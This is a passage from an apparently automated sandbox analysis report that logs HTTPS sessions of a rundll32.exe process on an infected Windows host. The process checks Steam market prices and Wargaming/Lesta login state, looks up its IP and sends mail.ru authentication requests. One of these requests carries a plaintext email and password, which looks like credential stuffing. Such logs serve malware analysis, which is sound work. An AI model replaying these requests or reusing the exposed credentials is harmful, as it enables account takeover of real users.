2023-12-10 16:49:21 UTC	48	IN	Data Raw: 32 35 0d 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 52 65 64 69 72 65 63 74 2e 2e 2e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 25<html><body>Redirect...</body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49865	23.194.234.100	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:21 UTC	904	OUT	GET /market/search/render/?query=ibuypower%2Bflammable&start=0&count=1&search_descriptions=1&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=any&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=any&category_730_Quality[]=tag_normal&category_730_Quality[]=tag_strange&category_730_Rarity[]=tag_Rarity_Common_Weapon&category_730_Rarity[]=tag_Rarity_Rare_Weapon&category_730_Rarity[]=tag_Rarity_Uncommon_Weapon&category_730_Rarity[]=tag_Rarity_Mythical_Weapon&category_730_Rarity[]=tag_Rarity_Legendary_Weapon&category_730_Rarity[]=tag_Rarity_Ancient_Weapon HTTP/1.1 Host: steamcommunity.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
2023-12-10 16:49:22 UTC	431	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 45 78 70 69 72 65 73 3a 20 4d 6f 6e 2c 20 32 36 20 4a 75 6c 20 31 39 39 37 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 32 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 37 30 39 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 Data Ascii: HTTP/1.1 200 OKServer: nginxContent-Type: application/json; charset=utf-8X-Frame-Options: DENYExpires: Mon, 26 Jul 1997 05:00:00 GMTCache-Control: no-cacheDate: Sun, 10 Dec 2023 16:49:22 GMTContent-Length: 3709Connection: closeSet-Cookie
2023-12-10 16:49:22 UTC	3709	IN	Data Raw: 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 73 74 61 72 74 22 3a 30 2c 22 70 61 67 65 73 69 7a 65 22 3a 31 2c 22 74 6f 74 61 6c 5f 63 6f 75 6e 74 22 3a 33 36 38 2c 22 74 69 70 22 3a 22 53 65 74 20 6e 6f 72 65 6e 64 65 72 3d 31 20 69 66 20 79 6f 75 20 64 6f 6e 27 74 20 77 61 6e 74 20 48 54 4d 4c 22 2c 22 72 65 73 75 6c 74 73 5f 68 74 6d 6c 22 3a 22 5c 74 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 6d 61 72 6b 65 74 5f 6c 69 73 74 69 6e 67 5f 74 61 62 6c 65 5f 68 65 61 64 65 72 5c 22 3e 5c 72 5c 6e 5c 74 5c 74 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 6d 61 72 6b 65 74 5f 6c 69 73 74 69 6e 67 5f 70 72 69 63 65 5f 6c 69 73 74 69 6e 67 73 5f 62 6c 6f 63 6b 5c 22 3e 5c 72 5c 6e 5c 74 5c 74 5c 74 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 6d 61 72 6b 65 74 5f 6c 69 Data Ascii: {"success":true,"start":0,"pagesize":1,"total_count":368,"tip":"Set norender=1 if you don't want HTML","results_html":"\t<div class=\"market_listing_table_header\">\r\n\t\t<div class=\"market_listing_price_listings_block\">\r\n\t\t\t<div class=\"market_li

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49867	217.69.142.141	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:21 UTC	625	OUT	GET /cgi-bin/auth?Password=668600&Login=studenko_1992@mail.ru&mob_json=1&mobile=1&simple=1&useragent=android&Lang=ru_RU&mp=android&mmp=mail&DeviceID=04251FEA51A7532114D68C8214239A03&client=mobile&playservices=5785264&connectid=87F82A91982C1632B3A51B9147515638&os=Android&os_version=6.0.1&ver=ru.mail.mailapp5.3.0.19561&vendor=samsung&model=SM-G925F&device_type=Smartphone&country=RU&language=ru_RU&timezone=GMT%2B03%3A00&device_name=samsung%20SM-G925F&idfa=a3058554-2eeb-497a-986d-8f5d3093c6e1&appsflyerid=1474203483607-5663382950293237662&current=google&first=google&md5_signature=8F183FA65166AC4E8094BBCDE2FEF55B HTTP/1.1
2023-12-10 16:49:21 UTC	138	OUT	Data Raw: 48 6f 73 74 3a 20 61 6a 2d 68 74 74 70 73 2e 6d 61 69 6c 2e 72 75 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 2c 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 6d 6f 62 6d 61 69 6c 20 61 6e 64 72 6f 69 64 20 35 2e 33 2e 30 2e 31 39 35 36 31 20 72 75 2e 6d 61 69 6c 2e 6d 61 69 6c 61 70 70 0d 0a 0d 0a Data Ascii: Host: aj-https.mail.ruConnection: keep-aliveAccept-Encoding: gzip,deflateUser-Agent: mobmail android 5.3.0.19561 ru.mail.mailapp
2023-12-10 16:49:23 UTC	823	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 32 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 37 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 33 50 3a 20 43 50 3d 22 4e 4f 4e 20 43 55 52 20 4f 55 52 20 49 4e 44 20 55 4e 49 20 49 4e 54 22 0d 0a 58 2d 53 57 41 2d 53 54 41 54 55 53 3a 20 38 30 38 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 75 6b 65 79 3d 74 63 77 55 31 50 68 56 46 53 66 4e 5a 6f 47 69 41 6b 48 54 76 30 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.16.1Date: Sun, 10 Dec 2023 16:49:22 GMTContent-Type: application/json;charset=UTF-8Content-Length: 178Connection: closeP3P: CP="NON CUR OUR IND UNI INT"X-SWA-STATUS: 808Set-Cookie: ukey=tcwU1PhVFSfNZoGiAkHTv0
2023-12-10 16:49:23 UTC	178	IN	Data Raw: 7b 22 53 74 61 74 75 73 22 3a 22 4f 6b 22 2c 22 43 6f 6e 74 69 6e 75 65 22 3a 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 6d 61 69 6c 2e 72 75 2f 6c 6f 67 69 6e 3f 63 61 70 74 63 68 61 3d 31 26 66 61 69 6c 3d 31 26 6d 6f 64 65 3d 61 75 74 68 63 61 70 74 63 68 61 26 6d 6f 62 69 6c 65 5f 63 61 70 74 63 68 61 5f 61 75 74 68 3d 31 26 65 6d 61 69 6c 3d 73 74 75 64 65 6e 6b 6f 5f 31 39 39 32 25 34 30 6d 61 69 6c 2e 72 75 26 6c 61 6e 67 3d 72 75 5f 52 55 26 63 61 70 74 63 68 61 5f 74 79 70 65 3d 72 65 63 61 70 74 63 68 61 22 7d Data Ascii: {"Status":"Ok","Continue":"https://account.mail.ru/login?captcha=1&fail=1&mode=authcaptcha&mobile_captcha_auth=1&email=studenko_1992%40mail.ru&lang=ru_RU&captcha_type=recaptcha"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49872	162.19.169.11	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:26 UTC	67	OUT	GET /ip HTTP/1.1 Host: fingerprints.bablosoft.com Accept: /
2023-12-10 16:49:26 UTC	566	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 32 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 45 78 70 72 65 73 73 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 47 45 54 2c 20 50 4f 53 54 2c 20 50 55 54 2c 20 44 45 4c 45 54 45 2c 20 50 41 54 43 48 2c 20 4f 50 54 49 4f 4e 53 0d 0a 41 63 63 65 73 73 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 10 Dec 2023 16:49:26 GMTContent-Length: 15Connection: closeX-Powered-By: ExpressAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONSAccess
2023-12-10 16:49:26 UTC	15	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 Data Ascii: 102.129.152.212

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49870	95.181.181.87	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:26 UTC	471	OUT	GET /id/state.json/ HTTP/1.1 Host: lesta.ru Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.185 YaBrowser/20.11.2.78 Yowser/2.5 Safari/537.36 accept: application/json, text/javascript, /; q=0.01 accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 referer: https://eu.wargaming.net/id/signin/ x-requested-with: XMLHttpRequest Accept-Encoding: gzip, deflate
2023-12-10 16:49:27 UTC	2627	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 32 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 37 34 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 10 Dec 2023 16:49:27 GMTContent-Type: application/x-javascript; charset=utf-8Content-Length: 1742Connection: closeVary: Accept-EncodingVary: Accept-EncodingX-Frame-Options: DENYVary: Accept-Language
2023-12-10 16:49:27 UTC	1742	IN	Data Raw: 7b 22 47 65 6e 65 72 61 6c 22 3a 20 7b 22 4c 61 6e 67 75 61 67 65 43 6f 64 65 22 3a 20 22 72 75 22 7d 2c 20 22 52 65 71 75 65 73 74 22 3a 20 7b 22 41 63 63 6f 75 6e 74 49 6e 66 6f 22 3a 20 7b 22 4c 6f 67 69 6e 22 3a 20 6e 75 6c 6c 2c 20 22 45 6d 61 69 6c 22 3a 20 6e 75 6c 6c 2c 20 22 49 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 42 61 6e 22 3a 20 6e 75 6c 6c 2c 20 22 54 65 6c 65 70 6f 72 74 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 52 65 63 6f 76 65 72 79 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 7d 2c 20 22 48 61 73 53 74 61 66 66 49 70 22 3a 20 66 61 6c 73 65 2c 20 22 43 53 52 46 5f 54 4f 4b 45 4e 22 3a 20 22 77 67 34 6a 53 4e 52 52 64 53 51 52 30 61 63 43 7a 67 54 74 43 33 4c 38 42 44 6a 77 35 32 56 Data Ascii: {"General": {"LanguageCode": "ru"}, "Request": {"AccountInfo": {"Login": null, "Email": null, "IsAuthenticated": false, "Ban": null, "TeleportRequired": false, "RecoveryRequired": false}, "HasStaffIp": false, "CSRF_TOKEN": "wg4jSNRRdSQR0acCzgTtC3L8BDjw52V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49882	23.194.234.100	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:28 UTC	904	OUT	GET /market/search/render/?query=%22katowice%202014%22&start=0&count=1&search_descriptions=1&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=any&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=any&category_730_Quality[]=tag_normal&category_730_Quality[]=tag_strange&category_730_Rarity[]=tag_Rarity_Common_Weapon&category_730_Rarity[]=tag_Rarity_Rare_Weapon&category_730_Rarity[]=tag_Rarity_Uncommon_Weapon&category_730_Rarity[]=tag_Rarity_Mythical_Weapon&category_730_Rarity[]=tag_Rarity_Legendary_Weapon&category_730_Rarity[]=tag_Rarity_Ancient_Weapon HTTP/1.1 Host: steamcommunity.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
2023-12-10 16:49:31 UTC	431	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 45 78 70 69 72 65 73 3a 20 4d 6f 6e 2c 20 32 36 20 4a 75 6c 20 31 39 39 37 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 33 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 37 36 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 Data Ascii: HTTP/1.1 200 OKServer: nginxContent-Type: application/json; charset=utf-8X-Frame-Options: DENYExpires: Mon, 26 Jul 1997 05:00:00 GMTCache-Control: no-cacheDate: Sun, 10 Dec 2023 16:49:30 GMTContent-Length: 3767Connection: closeSet-Cookie
2023-12-10 16:49:31 UTC	3767	IN	Data Raw: 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 73 74 61 72 74 22 3a 30 2c 22 70 61 67 65 73 69 7a 65 22 3a 31 2c 22 74 6f 74 61 6c 5f 63 6f 75 6e 74 22 3a 35 36 35 2c 22 74 69 70 22 3a 22 53 65 74 20 6e 6f 72 65 6e 64 65 72 3d 31 20 69 66 20 79 6f 75 20 64 6f 6e 27 74 20 77 61 6e 74 20 48 54 4d 4c 22 2c 22 72 65 73 75 6c 74 73 5f 68 74 6d 6c 22 3a 22 5c 74 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 6d 61 72 6b 65 74 5f 6c 69 73 74 69 6e 67 5f 74 61 62 6c 65 5f 68 65 61 64 65 72 5c 22 3e 5c 72 5c 6e 5c 74 5c 74 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 6d 61 72 6b 65 74 5f 6c 69 73 74 69 6e 67 5f 70 72 69 63 65 5f 6c 69 73 74 69 6e 67 73 5f 62 6c 6f 63 6b 5c 22 3e 5c 72 5c 6e 5c 74 5c 74 5c 74 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 6d 61 72 6b 65 74 5f 6c 69 Data Ascii: {"success":true,"start":0,"pagesize":1,"total_count":565,"tip":"Set norender=1 if you don't want HTML","results_html":"\t<div class=\"market_listing_table_header\">\r\n\t\t<div class=\"market_listing_price_listings_block\">\r\n\t\t\t<div class=\"market_li

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49883	165.227.126.8	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:29 UTC	65	OUT	GET /?name=Syed HTTP/1.1 Host: api.genderize.io Accept: /
2023-12-10 16:49:29 UTC	499	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 32 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 36 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 61 6c 6c 6f 77 2d 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 61 6c 6c 6f 77 2d 6f 72 69 67 69 6e 3a 20 2a 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 65 78 70 6f 73 65 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.16.1Date: Sun, 10 Dec 2023 16:49:29 GMTContent-Type: application/json; charset=utf-8Content-Length: 64Connection: closeaccess-control-allow-credentials: trueaccess-control-allow-origin: *access-control-expose
2023-12-10 16:49:29 UTC	64	IN	Data Raw: 7b 22 63 6f 75 6e 74 22 3a 31 39 31 31 30 39 2c 22 6e 61 6d 65 22 3a 22 53 79 65 64 22 2c 22 67 65 6e 64 65 72 22 3a 22 6d 61 6c 65 22 2c 22 70 72 6f 62 61 62 69 6c 69 74 79 22 3a 31 2e 30 7d Data Ascii: {"count":191109,"name":"Syed","gender":"male","probability":1.0}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49901	162.19.169.11	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:38 UTC	67	OUT	GET /ip HTTP/1.1 Host: fingerprints.bablosoft.com Accept: /
2023-12-10 16:49:38 UTC	566	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 33 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 45 78 70 72 65 73 73 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 47 45 54 2c 20 50 4f 53 54 2c 20 50 55 54 2c 20 44 45 4c 45 54 45 2c 20 50 41 54 43 48 2c 20 4f 50 54 49 4f 4e 53 0d 0a 41 63 63 65 73 73 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 10 Dec 2023 16:49:38 GMTContent-Length: 15Connection: closeX-Powered-By: ExpressAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONSAccess
2023-12-10 16:49:38 UTC	15	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 Data Ascii: 102.129.152.212

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49896	95.181.181.87	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:38 UTC	438	OUT	GET /id/state.json/ HTTP/1.1 Host: lesta.ru Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 accept: application/json, text/javascript, /; q=0.01 accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 referer: https://eu.wargaming.net/id/signin/ x-requested-with: XMLHttpRequest Accept-Encoding: gzip, deflate
2023-12-10 16:49:38 UTC	2627	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 33 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 37 34 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 10 Dec 2023 16:49:38 GMTContent-Type: application/x-javascript; charset=utf-8Content-Length: 1742Connection: closeVary: Accept-EncodingVary: Accept-EncodingX-Frame-Options: DENYVary: Accept-Language
2023-12-10 16:49:38 UTC	1742	IN	Data Raw: 7b 22 47 65 6e 65 72 61 6c 22 3a 20 7b 22 4c 61 6e 67 75 61 67 65 43 6f 64 65 22 3a 20 22 72 75 22 7d 2c 20 22 52 65 71 75 65 73 74 22 3a 20 7b 22 41 63 63 6f 75 6e 74 49 6e 66 6f 22 3a 20 7b 22 4c 6f 67 69 6e 22 3a 20 6e 75 6c 6c 2c 20 22 45 6d 61 69 6c 22 3a 20 6e 75 6c 6c 2c 20 22 49 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 42 61 6e 22 3a 20 6e 75 6c 6c 2c 20 22 54 65 6c 65 70 6f 72 74 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 52 65 63 6f 76 65 72 79 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 7d 2c 20 22 48 61 73 53 74 61 66 66 49 70 22 3a 20 66 61 6c 73 65 2c 20 22 43 53 52 46 5f 54 4f 4b 45 4e 22 3a 20 22 67 74 61 7a 70 68 6b 74 6e 66 4c 59 33 6d 61 53 6f 44 38 77 74 53 30 65 71 78 39 65 72 74 6b Data Ascii: {"General": {"LanguageCode": "ru"}, "Request": {"AccountInfo": {"Login": null, "Email": null, "IsAuthenticated": false, "Ban": null, "TeleportRequired": false, "RecoveryRequired": false}, "HasStaffIp": false, "CSRF_TOKEN": "gtazphktnfLY3maSoD8wtS0eqx9ertk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49907	165.227.126.8	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:41 UTC	66	OUT	GET /?name=Mateo HTTP/1.1 Host: api.genderize.io Accept: /
2023-12-10 16:49:41 UTC	499	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 34 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 36 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 61 6c 6c 6f 77 2d 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 61 6c 6c 6f 77 2d 6f 72 69 67 69 6e 3a 20 2a 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 65 78 70 6f 73 65 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.16.1Date: Sun, 10 Dec 2023 16:49:41 GMTContent-Type: application/json; charset=utf-8Content-Length: 64Connection: closeaccess-control-allow-credentials: trueaccess-control-allow-origin: *access-control-expose
2023-12-10 16:49:41 UTC	64	IN	Data Raw: 7b 22 63 6f 75 6e 74 22 3a 32 33 37 38 32 2c 22 6e 61 6d 65 22 3a 22 4d 61 74 65 6f 22 2c 22 67 65 6e 64 65 72 22 3a 22 6d 61 6c 65 22 2c 22 70 72 6f 62 61 62 69 6c 69 74 79 22 3a 31 2e 30 7d Data Ascii: {"count":23782,"name":"Mateo","gender":"male","probability":1.0}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49911	217.69.139.60	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:42 UTC	29	OUT	POST /cgi-bin/auth HTTP/1.1
